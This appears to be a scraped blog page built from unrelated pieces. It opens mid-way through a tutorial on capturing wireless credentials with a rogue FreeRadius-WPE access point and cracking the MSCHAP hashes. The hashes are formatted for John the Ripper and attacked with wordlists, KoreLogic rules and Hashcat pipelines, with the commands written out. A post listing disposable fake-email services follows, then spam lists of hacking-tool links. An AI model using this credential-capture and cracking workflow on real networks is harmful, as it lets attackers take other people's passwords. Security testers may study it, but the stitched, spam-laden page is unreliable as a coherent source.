Use one of your local computers to connect to the FreeRadius wireless network and type in a fake username/password to grab an example hash. If you dont see your hash output in the logfile then double check all your ip addresses and insure your server is running. In a real attack you would wait for clients to attach to your Access point and the credentials will be forwarded to your FreeRadius-WPE server. Once this is done the fun begins and also where we will start in our attack scenario.

Formatting hashes:
Your hashes can come in a few formats, they might come back as PAP responses in which case they will be plain text passwords. Plaintext PAP can sometimes be a result of mobile devices sending paswords. Otherwise your attack will result in MSChap password challenge/response hashes. Once you receive your MSChap hashes they have to be formated in a specific way in order to crack them. Here is an example hash and the proper format to use before trying to crack the hashes.

Example Hash:
mschap: Mon Feb 05 19:35:59 2012
username: test
challenge: b3:f8:48:e9:db:02:22:83
response: 15:36:d7:e9:da:43:1f:5f:d2:4b:51:53:87:89:63:b7:12:26:7c:a8:f7:ea:9c:26

Formated for john:(username::::response:challenge)
test::::1536d7e9da431f5fd24b5153878963b712267ca8f7ea9c26:b3f848e9db022283

Tool to automate this: (Tool Link)
One of my friends wrote a python script that will take your freeradius-server-wpe.log as input and format out all of the hashes one per line.. The script output can be fed directly into John The Ripper(JTR).

JTR Cracking and Custom Rulesets:
One way to crack these hashes is to use JTR with a bunch of dictionary attacks and if that fails procede from there with custom korelogic rulesets. Check out preceding link for more info on password cracking techniques which can be employed in addition to this blog. Below I will reiterate a few points on setting up JTR with custom rulesets from the Defcon challenge in 2010 based on the previous link and then how to parse them out and use them.

The first thing to note is that the format of the hashes you get from WPE will generally be considered NETNTLM within JTR so we will have to specify that as well as the wordlists we would like to use to start.

Dictionary attacking first:
First go into your JTR directory and try to crack with some dictionaries of your choosing:
ficti0n:# cd Desktop/Tools\ /john/run
ficti0n:# ./john --wordlist=wordlists/wpa.txt --format=NETNTLM JohnFormat.txt

Loaded 1 password hash (NTLMv1 C/R MD4 DES [netntlm])
test             (test)
guesses: 1  time: 0:00:00:00 100.00% (ETA: Tue Mar 20 19:29:31 2012)  c/s: 692441  trying: test

Custom Rules: korelogic rulesets (Link)
If the cracking fails on all of your wordlists then try installing custom rulesets with the following sequence of commands meant do download and then append the rules to the current john file. The following command can also be found at the above Korelogic link.
ficti0n:# wget http://contest-2010.korelogic.com/rules.txt
ficti0n:# cat rules.txt >> john.conf


Once this is done you can directly specify any rule in the file similar to the following:
ficti0n:# ./john --wordlist=wordlists/english.txt --format=NETNTLM --rules:KoreLogicRulesAppendNum_AddSpecialEverywhere johnFormat.txt


Or if you are time independent just let them all rip and go on vacation and check the results when you get back LOL
ficti0n:# for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --wordlist=wordlists/english.txt --format=NETNTLM --rules:${ruleset} JohnFormat.txt; done


Hashcat rulesets and building pasword files:
Another way to build complex password files is to use tools like HashCat with supplied password rules and pipe it out to STDOut, either into a file or the STDIn of other cracking programs like John the Ripper. There is a rules folder in HashCat which has a number of rules provided by default.


Available Hashcat Rules:
ficti0n:# ls
best64.rule      generated.rule   passwordspro.rule  T0XlC.rule     toggles3.rule
combinator.rule  leetspeak.rule   perfect.rule       toggles1.rule  toggles4.rule
d3ad0ne.rule     oscommerce.rule  specific.rule      toggles2.rule  toggles5.rule

Creating Passwords with Hashcat and a dictionary:
ficti0n:# ./hashcat-cli32.bin -r rules/passwordspro.rule ../wordlists/cain.txt --stdout

You can also pipe passwords directly into JTR from hashcat output but its really slow so I suggest you make a world list then load it up with --wordlist, but the example is shown below.

Piping Hashcat password rules into JTR: (really slow)
ficti0n:# ./hashcat-cli32.bin -r rules/passwordspro.rule ../wordlists/rockyou-75.txt --stdout |/pentest/passwords/john/john --format=NETNTLM JohnFormat.txt --stdin


I hope someone finds my above notes useful, I am going to write up some client side attack stuff as well and post it up here... Let me know if you have any questions or need more clarification on anything covered in the blogs. 

Read more


  1. Herramientas Hacking
  2. Hacking Background
  3. Hacking Books
  4. Mind Hacking
  5. Definicion De Cracker
  6. Elladodelmal

Monday, April 20, 2020

How To Create Fake Email Address Within Seconds

How To Create Fake Email Address Within Seconds

How To Create Fake Email Address Within Seconds

Email address is a type of identification by which an email receiver identifies the person who sends mail to him/her. That's why while creating an email address you need to enter your personal details that must be valid. However, what if we tell you that you can create an email address that doesn't require any validation of personal details and that email address gets permanently deleted after your work is done. So here we have a method To Create Fake Email Address. By this, you can create a fake email address that will get auto-deleted after ten minutes. Just follow the below steps to proceed.

Note:  The method we are discussing is just for a known purpose and should not be used for any illegal purposes, as we will be not responsible for any wrongdoing.

How To Create Fake Email Address Within Seconds

The method of creating a fake email address is very simple and easy as these are based on online websites that will provide you a free email address without taking any personal details from you.

#1 10 Minute Mail

10 Minute Mail
10 Minute Mail
10 Minute Mail will provide you a temporary e-mail address. Any e-mails sent to that address will show automatically on the web page. You can read them, click on links, and even reply to them. The email address will expire after 10 minutes.

#2 GuerrillaMail

Guerrillamail
Guerrillamail
It is one of the most user-friendly ones out there, with this, you can get disposable email ID easily. You need to enter the details, and the fake email ID will be generated. Moreover, this also lets you send emails with attachment up to 150MB. You will be provided with a temporary email address which you can use to verify some websites which require the email address.

#3 Mailinator

Mailinator
Mailinator
Mailinator is a free, Public, Email System where you can use any inbox you want. You will be given a Mailinator address which you can use anytime a website asks for an email address. The public emails you will receive will be auto-deleted after few hours of receiving.

#4 MailDrop

MailDrop
MailDrop
Maildrop is a great idea when you want to sign up for a website but you are concerned that they might share your address with advertisers. MailDrop is powered by some of the spam filters created by Heluna, used in order to block almost all spam attempts before they even get to your MailDrop inbox. This works the same way like Mailinator in which you will be given a temporary Email address which you can use to verify sites etc.

#5 AirMail

AirMail
AirMail
AirMail is a free temporary email service, you are given a random email address you can use when registering to new websites or test-driving untrusted services. All emails received by AirMail servers are displayed automatically in your online browser inbox.
Related articles
  1. Hacking Tools And Software
  2. Best Hacking Tools 2020
  3. Install Pentest Tools Ubuntu
  4. Pentest Tools For Windows
  5. Hacker Tools Free
  6. Hacking Tools For Windows Free Download
  7. Beginner Hacker Tools
  8. Hacking Tools For Pc
  9. Hacker Tools 2020
  10. Hacker Tools Online
  11. Tools Used For Hacking
  12. Hacking App
  13. Hacker Tools Software
  14. Nsa Hack Tools Download
  15. New Hack Tools
  16. What Is Hacking Tools
  17. Physical Pentest Tools
  18. Pentest Tools Subdomain
  19. Hacking Tools Name
  20. Hacker Hardware Tools
  21. Hacking Tools For Windows Free Download
  22. Hacking Tools Mac
  23. Hacker Tools Hardware
  24. Usb Pentest Tools